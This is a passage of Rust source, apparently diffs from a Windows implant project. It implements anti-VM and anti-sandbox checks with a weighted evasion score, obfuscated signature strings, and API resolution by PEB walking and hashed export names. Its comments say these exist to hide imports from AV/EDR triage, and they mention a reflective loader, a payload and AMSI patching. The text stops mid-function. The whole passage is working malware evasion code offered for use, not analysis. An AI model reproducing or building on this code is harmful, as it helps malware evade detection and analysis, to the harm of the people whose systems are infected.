let snap = abi::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
if snap == 0 || snap == abi::INVALID_HANDLE_VALUE {
|
||||
return false;
|
||||
}
|
||||
#[repr(C)]
|
||||
struct Pe32W {
|
||||
dw_size: u32,
|
||||
_pad: [u32; 7],
|
||||
sz_exe_file: [u16; 260],
|
||||
}
|
||||
let mut e: Pe32W = core::mem::zeroed();
|
||||
e.dw_size = core::mem::size_of::<Pe32W>() as u32;
|
||||
let mut count: usize = 0;
|
||||
if abi::Process32FirstW(snap, &mut e as *mut _ as *mut c_void) != 0 {
|
||||
loop {
|
||||
count += 1;
|
||||
if count > min_expected {
|
||||
break;
|
||||
}
|
||||
if abi::Process32NextW(snap, &mut e as *mut _ as *mut c_void) == 0 {
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
abi::CloseHandle(snap);
|
||||
count <= min_expected
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// 11. User input absence
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
#[repr(C)]
|
||||
struct LastInputInfo {
|
||||
cb_size: u32,
|
||||
dw_time: u32,
|
||||
}
|
||||
|
||||
/// No keyboard/mouse input within N ms => nobody is using this machine =>
|
||||
/// likely an automated sandbox. Only meaningful when uptime is long enough
|
||||
/// (a freshly booted real PC also has no input yet).
|
||||
pub fn no_user_input(window_ms: u32, min_uptime_ms: u64) -> bool {
|
||||
unsafe {
|
||||
let now = abi::GetTickCount64();
|
||||
if now < min_uptime_ms {
|
||||
return false; // too early to judge
|
||||
}
|
||||
let mut li = LastInputInfo {
|
||||
cb_size: core::mem::size_of::<LastInputInfo>() as u32,
|
||||
dw_time: 0,
|
||||
};
|
||||
if dynapi::GetLastInputInfo(&mut li as *mut _ as *mut c_void) == 0 {
|
||||
return false;
|
||||
}
|
||||
let last = li.dw_time as u64;
|
||||
// GetTickCount wraps ~49 days; ignore wrap edge case for simplicity.
|
||||
now.saturating_sub(last) > window_ms as u64
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// 12. Loaded module scan
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
pub fn vm_dlls_loaded() -> bool {
|
||||
const TH32CS_SNAPMODULE: u32 = 0x8;
|
||||
unsafe {
|
||||
let snap = abi::CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, 0);
|
||||
if snap == 0 || snap == abi::INVALID_HANDLE_VALUE {
|
||||
return false;
|
||||
}
|
||||
#[repr(C)]
|
||||
struct Me32W {
|
||||
dw_size: u32,
|
||||
_mid: [u32; 7],
|
||||
_base: usize,
|
||||
sz_module: [u16; 256],
|
||||
sz_exe_path: [u16; 260],
|
||||
}
|
||||
let mut me: Me32W = core::mem::zeroed();
|
||||
me.dw_size = core::mem::size_of::<Me32W>() as u32;
|
||||
|
||||
let key: u8 = gen::K_TOKEN;
|
||||
let bad: [(obf::Slot, u32); 8] = [
|
||||
obf::sig(key, 0x4501, b"vmguestlib"),
|
||||
obf::sig(key, 0x4502, b"vboxhook"),
|
||||
obf::sig(key, 0x4503, b"vboxmrxnp"),
|
||||
obf::sig(key, 0x4504, b"vmswitch"),
|
||||
obf::sig(key, 0x4505, b"sandboxie"),
|
||||
obf::sig(key, 0x4506, b"dbghelp"),
|
||||
obf::sig(key, 0x4507, b"api_log"),
|
||||
obf::sig(key, 0x4508, b"dir_watch"),
|
||||
];
|
||||
const LENS: [usize; 8] = [11, 8, 10, 8, 9, 7, 8, 9];
|
||||
|
||||
let mut found = false;
|
||||
if abi::Module32FirstW(snap, &mut me as *mut _ as *mut c_void) != 0 {
|
||||
loop {
|
||||
let mut name = Vec::with_capacity(512);
|
||||
for ch in me.sz_module.iter() {
|
||||
if *ch == 0 { break; }
|
||||
name.push(*ch as u8);
|
||||
}
|
||||
let nl = lower(&name);
|
||||
for (i, s) in bad.iter().enumerate() {
|
||||
let plain = obf::dec_sig(key, s, LENS[i]);
|
||||
if contains(&nl, &plain[..LENS[i]]) {
|
||||
found = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if found { break; }
|
||||
if abi::Module32NextW(snap, &mut me as *mut _ as *mut c_void) == 0 {
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
abi::CloseHandle(snap);
|
||||
found
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// 13. Window title/class scan
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
static mut WINDOW_HIT: bool = false;
|
||||
|
||||
/// EnumWindows callback: check window text + class against encrypted signatures.
|
||||
unsafe extern "system" fn enum_cb(hwnd: usize, _lparam: isize) -> i32 {
|
||||
let mut text = [0u16; 256];
|
||||
let mut cls = [0u16; 256];
|
||||
dynapi::GetWindowTextW(hwnd, text.as_mut_ptr(), 256);
|
||||
dynapi::GetClassNameW(hwnd, cls.as_mut_ptr(), 256);
|
||||
|
||||
let tlen = text.iter().position(|&c| c == 0).unwrap_or(0);
|
||||
let clen = cls.iter().position(|&c| c == 0).unwrap_or(0);
|
||||
let tb: Vec<u8> = text[..tlen].iter().map(|&c| c as u8).collect();
|
||||
let cb: Vec<u8> = cls[..clen].iter().map(|&c| c as u8).collect();
|
||||
|
||||
let key: u8 = gen::K_DISPLAY;
|
||||
let bad: [(obf::Slot, u32); 6] = [
|
||||
obf::sig(key, 0x5501, b"vboxtraytoolwindow"),
|
||||
obf::sig(key, 0x5502, b"vboxtray"),
|
||||
obf::sig(key, 0x5503, b"vmwareuser"),
|
||||
obf::sig(key, 0x5504, b"vmwaretray"),
|
||||
obf::sig(key, 0x5505, b"paratools"),
|
||||
obf::sig(key, 0x5506, b"cuckoo sandbox"),
|
||||
];
|
||||
const LENS: [usize; 6] = [18, 8, 11, 10, 9, 13];
|
||||
|
||||
let tl = lower(&tb);
|
||||
let cl = lower(&cb);
|
||||
for (i, s) in bad.iter().enumerate() {
|
||||
let plain = obf::dec_sig(key, s, LENS[i]);
|
||||
let p = &plain[..LENS[i]];
|
||||
if contains(&tl, p) || contains(&cl, p) {
|
||||
WINDOW_HIT = true;
|
||||
return 0; // stop enumeration
|
||||
}
|
||||
}
|
||||
1 // continue
|
||||
}
|
||||
|
||||
pub fn vm_tool_windows() -> bool {
|
||||
unsafe {
|
||||
WINDOW_HIT = false;
|
||||
dynapi::EnumWindows(enum_cb as usize, 0);
|
||||
WINDOW_HIT
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// 14. Disk / volume characteristics
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// Fixed drives whose volume label matches common VM defaults
|
||||
/// ("System Reserved" alone is fine; but "VBOX", "CDROM" etc are not).
|
||||
pub fn disk_artifacts() -> bool {
|
||||
let key: u8 = gen::K_SMBIOS;
|
||||
let labels: [(obf::Slot, u32); 5] = [
|
||||
obf::sig(key, 0x5601, b"vbox"),
|
||||
obf::sig(key, 0x5602, b"cdrom"),
|
||||
obf::sig(key, 0x5603, b"ubuntu"),
|
||||
obf::sig(key, 0x5604, b"debian"),
|
||||
obf::sig(key, 0x5605, b"kali"),
|
||||
];
|
||||
const LENS: [usize; 5] = [4, 5, 6, 6, 4];
|
||||
|
||||
// DRIVE_FIXED = 3
|
||||
const DRIVE_FIXED: u32 = 3;
|
||||
for letter in [b'C', b'D', b'E'] {
|
||||
let root: Vec<u8> = vec![letter, b':', b'\\'];
|
||||
let rw = wide(&root);
|
||||
unsafe {
|
||||
if abi::GetDriveTypeW(rw.as_ptr()) != DRIVE_FIXED {
|
||||
continue;
|
||||
}
|
||||
let mut vol = [0u16; 128];
|
||||
let mut serial: u32 = 0;
|
||||
let ok = abi::GetVolumeInformationW(
|
||||
rw.as_ptr(),
|
||||
vol.as_mut_ptr(),
|
||||
128,
|
||||
&mut serial,
|
||||
ptr::null_mut(),
|
||||
ptr::null_mut(),
|
||||
ptr::null_mut(),
|
||||
0,
|
||||
);
|
||||
if ok == 0 {
|
||||
continue;
|
||||
}
|
||||
let vlen = vol.iter().position(|&c| c == 0).unwrap_or(0);
|
||||
let vb: Vec<u8> = vol[..vlen].iter().map(|&c| c as u8).collect();
|
||||
let vl = lower(&vb);
|
||||
for (i, s) in labels.iter().enumerate() {
|
||||
let plain = obf::dec_sig(key, s, LENS[i]);
|
||||
if contains(&vl, &plain[..LENS[i]]) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
false
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Score aggregation
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// Run all anti-VM vectors and return a cumulative score.
|
||||
/// Higher = more suspicious. Caller applies threshold.
|
||||
pub fn score() -> u32 {
|
||||
let mut s: u32 = 0;
|
||||
|
||||
// Primary signals (high weight).
|
||||
if cpuid_hypervisor_bit() {
|
||||
s += 3;
|
||||
}
|
||||
if smbios_firmware_strings() {
|
||||
s += 3;
|
||||
}
|
||||
if mac_address_vm() {
|
||||
s += 3;
|
||||
}
|
||||
if registry_artifacts() >= 2 {
|
||||
s += 3;
|
||||
}
|
||||
if filesystem_artifacts() >= 2 {
|
||||
s += 3;
|
||||
}
|
||||
|
||||
// Secondary signals (medium weight).
|
||||
if let Some(vendor) = cpuid_hypervisor_vendor() {
|
||||
let vl = lower(vendor.as_bytes());
|
||||
for m in [b"vmware".as_slice(), b"vbox".as_slice(), b"kvm".as_slice(), b"qemu".as_slice()] {
|
||||
if contains(&vl, m) {
|
||||
s += 2;
|
||||
break;
|
||||
}
|
||||
}
|
||||
// VMware backdoor port: only safe to probe when a hypervisor is
|
||||
// already known present (avoids #GP on bare metal).
|
||||
if contains(&vl, b"vmware") && vmware_backdoor_present() {
|
||||
s += 2;
|
||||
}
|
||||
}
|
||||
if cpuid_brand_suspicious() {
|
||||
s += 2;
|
||||
}
|
||||
if vm_dlls_loaded() {
|
||||
s += 2;
|
||||
}
|
||||
if vm_tool_windows() {
|
||||
s += 2;
|
||||
}
|
||||
|
||||
// Tertiary signals (low weight; individually noisy, collectively telling).
|
||||
if uptime_suspicious(20) {
|
||||
s += 1;
|
||||
}
|
||||
if process_count_low(30) {
|
||||
s += 1;
|
||||
}
|
||||
if no_user_input(120_000, 10 * 60 * 1000) {
|
||||
s += 1;
|
||||
}
|
||||
if disk_artifacts() {
|
||||
s += 1;
|
||||
}
|
||||
|
||||
// Instruction-level heuristics (very weak individually).
|
||||
if s >= 2 {
|
||||
// Only refine when other signals exist, to avoid FP on bare metal.
|
||||
if sidt_red_pill() {
|
||||
s += 1;
|
||||
}
|
||||
if sldt_anomaly() {
|
||||
s += 1;
|
||||
}
|
||||
}
|
||||
|
||||
s
|
||||
}
|
||||
@@ -0,0 +1,265 @@
|
||||
//! Runtime API resolution by hash — no import table entry needed.
|
||||
//!
|
||||
//! Many analysis tools triage an implant by its static import table. This module
|
||||
//! resolves a handful of critical NT/K32 APIs at runtime by walking the PEB
|
||||
//! module list and scanning export names with a rotating hash, exactly like the
|
||||
//! reflective loader does. The guard never needs those APIs to appear in its
|
||||
//! imports, so a scanner sees a much quieter PE.
|
||||
//!
|
||||
//! This is intentionally additive: the payload *already* worked via its normal
|
||||
//! import table (fixed up by the reflective loader). For the guard, resolving a
|
||||
//! few crypto/VM/debug APIs by hash lets us probe deeper without declaring them.
|
||||
|
||||
use core::ffi::c_void;
|
||||
use core::ptr;
|
||||
|
||||
use crate::abi;
|
||||
|
||||
#[inline(always)]
|
||||
fn ror1(v: u32) -> u32 {
|
||||
v.wrapping_shr(1) | v.wrapping_shl(31)
|
||||
}
|
||||
|
||||
unsafe fn hash_wide(ptr: usize, nchars: usize) -> u32 {
|
||||
let mut h: u32 = 0;
|
||||
let mut i = 0;
|
||||
while i < nchars {
|
||||
let c = ptr::read_volatile((ptr + i * 2) as *const u16);
|
||||
h = ror1(h);
|
||||
if (0x61..=0x7A).contains(&c) {
|
||||
h = h.wrapping_add((c - 0x20) as u32);
|
||||
} else {
|
||||
h = h.wrapping_add(c as u32);
|
||||
}
|
||||
i += 1;
|
||||
}
|
||||
h
|
||||
}
|
||||
|
||||
unsafe fn hash_ascii(ptr: usize) -> u32 {
|
||||
let mut h: u32 = 0;
|
||||
let mut i = 0;
|
||||
loop {
|
||||
let c = ptr::read_volatile((ptr + i) as *const u8) as u32;
|
||||
if c == 0 {
|
||||
return h;
|
||||
}
|
||||
h = ror1(h);
|
||||
if (0x61..=0x7A).contains(&c) {
|
||||
h = h.wrapping_add(c - 0x20);
|
||||
} else {
|
||||
h = h.wrapping_add(c);
|
||||
}
|
||||
i += 1;
|
||||
}
|
||||
}
|
||||
|
||||
/// Find a module base by its base-name rotating hash.
|
||||
unsafe fn module_base_by_hash(peb: usize, want: u32) -> usize {
|
||||
let ldr = ptr::read_volatile((peb + 0x18) as *const usize);
|
||||
if ldr == 0 {
|
||||
return 0;
|
||||
}
|
||||
let head = ptr::read_volatile((ldr + 0x20) as *const usize);
|
||||
if head == 0 {
|
||||
return 0;
|
||||
}
|
||||
let mut cur = head;
|
||||
loop {
|
||||
if cur == 0 {
|
||||
return 0;
|
||||
}
|
||||
let entry = cur.wrapping_sub(0x10);
|
||||
let name_len = ptr::read_volatile((entry + 0x58) as *const u16) as usize;
|
||||
if name_len > 0 {
|
||||
let name_ptr = ptr::read_volatile((entry + 0x60) as *const usize);
|
||||
if name_ptr != 0 && hash_wide(name_ptr, name_len / 2) == want {
|
||||
return ptr::read_volatile((entry + 0x30) as *const usize);
|
||||
}
|
||||
}
|
||||
let next = ptr::read_volatile((entry + 0x10) as *const usize);
|
||||
if next == head || next == cur {
|
||||
break;
|
||||
}
|
||||
cur = next;
|
||||
}
|
||||
0
|
||||
}
|
||||
|
||||
/// Resolve an export of `base` by its ror-hashed name.
|
||||
unsafe fn export_by_hash(base: usize, want: u32) -> usize {
|
||||
let lfanew = ptr::read_volatile((base + 0x3C) as *const u32) as usize;
|
||||
let dd = base + lfanew + 4 + 20 + 112;
|
||||
let ed_rva = ptr::read_volatile((dd + 0) as *const u32) as usize;
|
||||
if ed_rva == 0 {
|
||||
return 0;
|
||||
}
|
||||
let ed = base + ed_rva;
|
||||
let num_names = ptr::read_volatile((ed + 24) as *const u32) as usize;
|
||||
let addr_of_names = ptr::read_volatile((ed + 32) as *const u32) as usize;
|
||||
let addr_of_funcs = ptr::read_volatile((ed + 28) as *const u32) as usize;
|
||||
let addr_of_ord = ptr::read_volatile((ed + 36) as *const u32) as usize;
|
||||
if addr_of_funcs == 0 || addr_of_names == 0 || addr_of_ord == 0 {
|
||||
return 0;
|
||||
}
|
||||
for i in 0..num_names {
|
||||
let name_rva = ptr::read_volatile((base + addr_of_names + i * 4) as *const u32) as usize;
|
||||
if hash_ascii(base + name_rva) == want {
|
||||
let ordinal = ptr::read_volatile((base + addr_of_ord + i * 2) as *const u16) as usize;
|
||||
let fn_rva = ptr::read_volatile((base + addr_of_funcs + ordinal * 4) as *const u32) as usize;
|
||||
if fn_rva != 0 {
|
||||
return base + fn_rva;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
0
|
||||
}
|
||||
|
||||
unsafe fn peb_pointer() -> usize {
|
||||
let peb: usize;
|
||||
core::arch::asm!("mov {}, qword ptr gs:[0x60]", out(reg) peb, options(nostack, preserves_flags));
|
||||
peb
|
||||
}
|
||||
|
||||
/// Public PEB pointer accessor (used by antihook's IAT walk).
|
||||
pub unsafe fn peb_ptr() -> usize {
|
||||
peb_pointer()
|
||||
}
|
||||
|
||||
// API-hash constants stored XORed with HASH_KEY so raw ror-hashes never
|
||||
// appear in the binary. `r()` unmasks at runtime (black_box blocks the
|
||||
// optimizer from folding the XOR back to the plain value).
|
||||
const HASH_KEY: u32 = 0x9E37_79B9 ^ 0x5A5A_5A5A;
|
||||
|
||||
#[inline(always)]
|
||||
fn r(h: u32) -> u32 {
|
||||
h ^ core::hint::black_box(HASH_KEY)
|
||||
}
|
||||
|
||||
const HASH_KERNEL32: u32 = 0xC3A0_008F ^ HASH_KEY;
|
||||
const HASH_NTDLL: u32 = 0xE600_0091 ^ HASH_KEY;
|
||||
const HASH_NTQUERY_INFORMATION_PROCESS: u32 = 0x1664_32A0 ^ HASH_KEY;
|
||||
const HASH_VIRTUALPROTECT: u32 = 0x2A00_009B ^ HASH_KEY;
|
||||
const HASH_CHECK_REMOTE_DEBUGGER_PRESENT: u32 = 0xF162_D81F ^ HASH_KEY;
|
||||
|
||||
type CheckRemoteDebuggerFn =
|
||||
unsafe extern "system" fn(process: usize, present: *mut i32) -> i32;
|
||||
|
||||
/// Resolve `CheckRemoteDebuggerPresent` by hash (kernel32). Returns its VA or 0.
|
||||
pub unsafe fn check_remote_debugger() -> usize {
|
||||
let k32 = module_base_by_hash(peb_pointer(), r(HASH_KERNEL32));
|
||||
if k32 == 0 {
|
||||
return 0;
|
||||
}
|
||||
export_by_hash(k32, r(HASH_CHECK_REMOTE_DEBUGGER_PRESENT))
|
||||
}
|
||||
|
||||
/// Invoke CheckRemoteDebuggerPresent dynamically. True if a debugger is present.
|
||||
pub unsafe fn dyn_check_remote_debugger() -> bool {
|
||||
let raw = check_remote_debugger();
|
||||
if raw == 0 {
|
||||
return false;
|
||||
}
|
||||
let f: CheckRemoteDebuggerFn = core::mem::transmute(raw);
|
||||
let mut present: i32 = 0;
|
||||
f(abi::GetCurrentProcess(), &mut present) != 0 && present != 0
|
||||
}
|
||||
|
||||
/// Resolve `NtQueryInformationProcess` by hash (ntdll). Returns its VA or 0.
|
||||
pub unsafe fn nt_query_information_process() -> usize {
|
||||
let peb = peb_pointer();
|
||||
let ntdll = module_base_by_hash(peb, r(HASH_NTDLL));
|
||||
if ntdll == 0 {
|
||||
return 0;
|
||||
}
|
||||
export_by_hash(ntdll, r(HASH_NTQUERY_INFORMATION_PROCESS))
|
||||
}
|
||||
|
||||
/// Resolve `VirtualProtect` by hash (kernel32). Returns its VA or 0.
|
||||
pub unsafe fn virtual_protect() -> usize {
|
||||
let peb = peb_pointer();
|
||||
let k32 = module_base_by_hash(peb, r(HASH_KERNEL32));
|
||||
if k32 == 0 {
|
||||
return 0;
|
||||
}
|
||||
export_by_hash(k32, r(HASH_VIRTUALPROTECT))
|
||||
}
|
||||
|
||||
/// ntdll module base, resolved by hash.
|
||||
pub unsafe fn ntdll_base() -> usize {
|
||||
module_base_by_hash(peb_pointer(), r(HASH_NTDLL))
|
||||
}
|
||||
|
||||
/// Resolve any loaded module's base by its wide base-name hash
|
||||
/// (used for e.g. amsi.dll during AMSI patching).
|
||||
pub unsafe fn module_base_by_name_hash(want: u32) -> usize {
|
||||
module_base_by_hash(peb_pointer(), want)
|
||||
}
|
||||
|
||||
/// Public wrapper to resolve an ntdll export by its ror hash (used by antihook).
|
||||
pub unsafe fn export_by_hash_public(base: usize, want: u32) -> usize {
|
||||
export_by_hash(base, want)
|
||||
}
|
||||
|
||||
/// A resolved dynamic NT API handle (opaque pointer + castable fn).
|
||||
type NtQueryFn = unsafe extern "system" fn(
|
||||
process: usize, class: u32, info: *mut c_void, len: u32, ret: *mut u32,
|
||||
) -> i32;
|
||||
type VirtualProtectFn = unsafe extern "system" fn(
|
||||
addr: *mut c_void, size: usize, prot: u32, old: *mut u32,
|
||||
) -> i32;
|
||||
|
||||
/// Call NtQueryInformationProcess(ProcessDebugFlags) purely via the dynamically
|
||||
/// resolved pointer. Used by the guard to avoid importing it.
|
||||
pub unsafe fn dyn_query_debug_flags() -> Option<u32> {
|
||||
let raw = nt_query_information_process();
|
||||
if raw == 0 {
|
||||
return None;
|
||||
}
|
||||
let f: NtQueryFn = core::mem::transmute(raw);
|
||||
let mut flags: u32 = 0;
|
||||
let st = f(
|
||||
abi::GetCurrentProcess(),
|
||||
0x1f,
|
||||
&mut flags as *mut u32 as *mut c_void,
|
||||
core::mem::size_of::<u32>() as u32,
|
||||
ptr::null_mut(),
|
||||
);
|
||||
if st == 0 {
|
||||
Some(flags)
|
||||
} else {
|
||||
None
|
||||
}
|
||||
}
|
||||
|
||||
/// Call NtQueryInformationProcess(ProcessDebugPort) dynamically. Returns
|
||||
/// Some(port) when the call succeeds and a non-zero port is set (i.e. a debugger
|
||||
/// is attached), None on failure/no debugger.
|
||||
pub unsafe fn dyn_query_debug_port() -> bool {
|
||||
let raw = nt_query_information_process();
|
||||
if raw == 0 {
|
||||
return false;
|
||||
}
|
||||
let f: NtQueryFn = core::mem::transmute(raw);
|
||||
let mut port: *mut c_void = ptr::null_mut();
|
||||
let st = f(
|
||||
abi::GetCurrentProcess(),
|
||||
7,
|
||||
&mut port as *mut *mut c_void as *mut c_void,
|
||||
core::mem::size_of::<*mut c_void>() as u32,
|
||||
ptr::null_mut(),
|
||||
);
|
||||
st == 0 && !port.is_null()
|
||||
}
|
||||
|
||||
/// Dynamically downgrade an RWX region using the resolved VirtualProtect.
|
||||
pub unsafe fn dyn_downgrade_rwx(addr: *mut c_void, size: usize) -> bool {
|
||||
let raw = virtual_protect();
|
||||
if raw == 0 {
|
||||
return false;
|
||||
}
|
||||
let f: VirtualProtectFn = core::mem::transmute(raw);
|
||||
let mut old: u32 = 0;
|
||||
f(addr, size, abi::PAGE_EXECUTE_READ, &mut old) != 0
|
||||
}
|
||||
@@ -0,0 +1,270 @@
|
||||
//! Runtime resolution of anti-analysis APIs — silent import table.
|
||||
//!
|
||||
//! A DLL that statically imports `advapi32` (registry), `iphlpapi`
|
||||
//! (GetAdaptersAddresses) and the user32 window/display enumeration APIs is a
|
||||
//! textbook anti-VM signature: those functions are almost never legitimately
|
||||
//! imported together in a normal module. Static AV/EDR triage reads the PE
|
||||
//! import table *before* execution.
|
||||
//!
|
||||
//! Every API used for VM / sandbox / hook probing here is resolved at runtime
|
||||
//! by walking the PEB module list and hashing export names (same technique as
|
||||
//! `apires`, which resolves ntdll/kernel32 for the guard). The resulting
|
||||
//! import table contains only benign kernel32 staples.
|
||||
|
||||
#![allow(dead_code)]
|
||||
#![allow(non_snake_case)]
|
||||
|
||||
use core::ffi::c_void;
|
||||
|
||||
use crate::apires;
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Module-name ror-hashes (wide). kernel32/ntdll already resolved by apires.
|
||||
//
|
||||
// Stored XORed with HASH_KEY; `r()` unmasks at runtime (black_box blocks
|
||||
// constant-folding) so raw ror-hashes never appear in the binary.
|
||||
// ---------------------------------------------------------------------------
|
||||
const HASH_KEY: u32 = 0x9E37_79B9 ^ 0x5A5A_5A5A;
|
||||
|
||||
#[inline(always)]
|
||||
fn r(h: u32) -> u32 {
|
||||
h ^ core::hint::black_box(HASH_KEY)
|
||||
}
|
||||
|
||||
const H_USER32: u32 = 0xC780_008F ^ HASH_KEY;
|
||||
const H_ADVAPI32: u32 = 0xC120_008F ^ HASH_KEY;
|
||||
const H_IPHLPAPI: u32 = 0x0120_0092 ^ HASH_KEY;
|
||||
const H_KERNEL32: u32 = 0xC3A0_008F ^ HASH_KEY;
|
||||
|
||||
// Export-name ror-hashes (verified algorithm).
|
||||
const H_REG_OPEN_KEY_EX_W: u32 = 0x6100_00A8 ^ HASH_KEY;
|
||||
const H_REG_CLOSE_KEY: u32 = 0xBC00_00A0 ^ HASH_KEY;
|
||||
const H_REG_QUERY_VALUE_EX_W: u32 = 0xE6E0_00A6 ^ HASH_KEY;
|
||||
const H_REG_ENUM_KEY_EX_W: u32 = 0x7600_00A8 ^ HASH_KEY;
|
||||
const H_GET_ADAPTERS_ADDRESSES: u32 = 0xA971_209D ^ HASH_KEY;
|
||||
const H_ENUM_WINDOWS: u32 = 0x6B40_00A4 ^ HASH_KEY;
|
||||
const H_GET_WINDOW_TEXT_W: u32 = 0xF548_00A9 ^ HASH_KEY;
|
||||
const H_GET_CLASS_NAME_W: u32 = 0xB590_009E ^ HASH_KEY;
|
||||
const H_GET_SYSTEM_METRICS: u32 = 0xCE52_009A ^ HASH_KEY;
|
||||
const H_ENUM_DISPLAY_SETTINGS_W: u32 = 0xAD17_A0A5 ^ HASH_KEY;
|
||||
const H_ENUM_DISPLAY_DEVICES_W: u32 = 0x9C2F_40A3 ^ HASH_KEY;
|
||||
const H_GET_LAST_INPUT_INFO: u32 = 0xFCE2_0098 ^ HASH_KEY;
|
||||
const H_GET_CURSOR_POS: u32 = 0xC120_00A2 ^ HASH_KEY;
|
||||
const H_GET_SYSTEM_FIRMWARE_TABLE: u32 = 0x7649_488D ^ HASH_KEY;
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Cached resolved pointers
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
struct Cache {
|
||||
reg_open: usize,
|
||||
reg_close: usize,
|
||||
reg_query: usize,
|
||||
reg_enum: usize,
|
||||
adapters: usize,
|
||||
enum_windows: usize,
|
||||
get_window_text: usize,
|
||||
get_class_name: usize,
|
||||
get_system_metrics: usize,
|
||||
enum_display_settings: usize,
|
||||
enum_display_devices: usize,
|
||||
get_last_input: usize,
|
||||
get_cursor_pos: usize,
|
||||
get_system_firmware_table: usize,
|
||||
}
|
||||
|
||||
const CACHE_ZERO: Cache = Cache {
|
||||
reg_open: 0, reg_close: 0, reg_query: 0, reg_enum: 0, adapters: 0,
|
||||
enum_windows: 0, get_window_text: 0, get_class_name: 0,
|
||||
get_system_metrics: 0, enum_display_settings: 0, enum_display_devices: 0,
|
||||
get_last_input: 0, get_cursor_pos: 0, get_system_firmware_table: 0,
|
||||
};
|
||||
|
||||
static mut CACHE: Cache = CACHE_ZERO;
|
||||
static mut INIT: bool = false;
|
||||
|
||||
#[inline]
|
||||
unsafe fn resolve(module_hash: u32, fn_hash: u32) -> usize {
|
||||
// Both arguments are stored scrambled; unmask before lookup so the raw
|
||||
// values only ever exist transiently in registers at runtime.
|
||||
let base = apires::module_base_by_name_hash(r(module_hash));
|
||||
if base == 0 {
|
||||
return 0;
|
||||
}
|
||||
apires::export_by_hash_public(base, r(fn_hash))
|
||||
}
|
||||
|
||||
#[inline]
|
||||
unsafe fn ensure() {
|
||||
if INIT {
|
||||
return;
|
||||
}
|
||||
CACHE.reg_open = resolve(H_ADVAPI32, H_REG_OPEN_KEY_EX_W);
|
||||
CACHE.reg_close = resolve(H_ADVAPI32, H_REG_CLOSE_KEY);
|
||||
CACHE.reg_query = resolve(H_ADVAPI32, H_REG_QUERY_VALUE_EX_W);
|
||||
CACHE.reg_enum = resolve(H_ADVAPI32, H_REG_ENUM_KEY_EX_W);
|
||||
CACHE.adapters = resolve(H_IPHLPAPI, H_GET_ADAPTERS_ADDRESSES);
|
||||
CACHE.enum_windows = resolve(H_USER32, H_ENUM_WINDOWS);
|
||||
CACHE.get_window_text = resolve(H_USER32, H_GET_WINDOW_TEXT_W);
|
||||
CACHE.get_class_name = resolve(H_USER32, H_GET_CLASS_NAME_W);
|
||||
CACHE.get_system_metrics = resolve(H_USER32, H_GET_SYSTEM_METRICS);
|
||||
CACHE.enum_display_settings = resolve(H_USER32, H_ENUM_DISPLAY_SETTINGS_W);
|
||||
CACHE.enum_display_devices = resolve(H_USER32, H_ENUM_DISPLAY_DEVICES_W);
|
||||
CACHE.get_last_input = resolve(H_USER32, H_GET_LAST_INPUT_INFO);
|
||||
CACHE.get_cursor_pos = resolve(H_USER32, H_GET_CURSOR_POS);
|
||||
CACHE.get_system_firmware_table = resolve(H_KERNEL32, H_GET_SYSTEM_FIRMWARE_TABLE);
|
||||
INIT = true;
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Typed wrappers
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
pub unsafe fn RegOpenKeyExW(
|
||||
h_key: usize,
|
||||
sub: *const u16,
|
||||
opts: u32,
|
||||
sam: u32,
|
||||
out: *mut usize,
|
||||
) -> i32 {
|
||||
ensure();
|
||||
if CACHE.reg_open == 0 { return -1; }
|
||||
let f: unsafe extern "system" fn(usize, *const u16, u32, u32, *mut usize) -> i32 =
|
||||
core::mem::transmute(CACHE.reg_open);
|
||||
f(h_key, sub, opts, sam, out)
|
||||
}
|
||||
|
||||
pub unsafe fn RegCloseKey(h_key: usize) -> i32 {
|
||||
ensure();
|
||||
if CACHE.reg_close == 0 { return -1; }
|
||||
let f: unsafe extern "system" fn(usize) -> i32 = core::mem::transmute(CACHE.reg_close);
|
||||
f(h_key)
|
||||
}
|
||||
|
||||
pub unsafe fn RegQueryValueExW(
|
||||
h_key: usize,
|
||||
name: *const u16,
|
||||
res: *mut u32,
|
||||
ty: *mut u32,
|
||||
data: *mut u8,
|
||||
size: *mut u32,
|
||||
) -> i32 {
|
||||
ensure();
|
||||
if CACHE.reg_query == 0 { return -1; }
|
||||
let f: unsafe extern "system" fn(usize, *const u16, *mut u32, *mut u32, *mut u8, *mut u32) -> i32 =
|
||||
core::mem::transmute(CACHE.reg_query);
|
||||
f(h_key, name, res, ty, data, size)
|
||||
}
|
||||
|
||||
pub unsafe fn RegEnumKeyExW(
|
||||
h_key: usize,
|
||||
index: u32,
|
||||
name: *mut u16,
|
||||
name_len: *mut u32,
|
||||
res: *mut u32,
|
||||
class: *mut u16,
|
||||
class_len: *mut u32,
|
||||
last_write: *mut c_void,
|
||||
) -> i32 {
|
||||
ensure();
|
||||
if CACHE.reg_enum == 0 { return -1; }
|
||||
let f: unsafe extern "system" fn(usize, u32, *mut u16, *mut u32, *mut u32, *mut u16, *mut u32, *mut c_void) -> i32 =
|
||||
core::mem::transmute(CACHE.reg_enum);
|
||||
f(h_key, index, name, name_len, res, class, class_len, last_write)
|
||||
}
|
||||
|
||||
pub unsafe fn GetAdaptersAddresses(
|
||||
family: u32,
|
||||
flags: u32,
|
||||
reserved: *mut c_void,
|
||||
adapters: *mut c_void,
|
||||
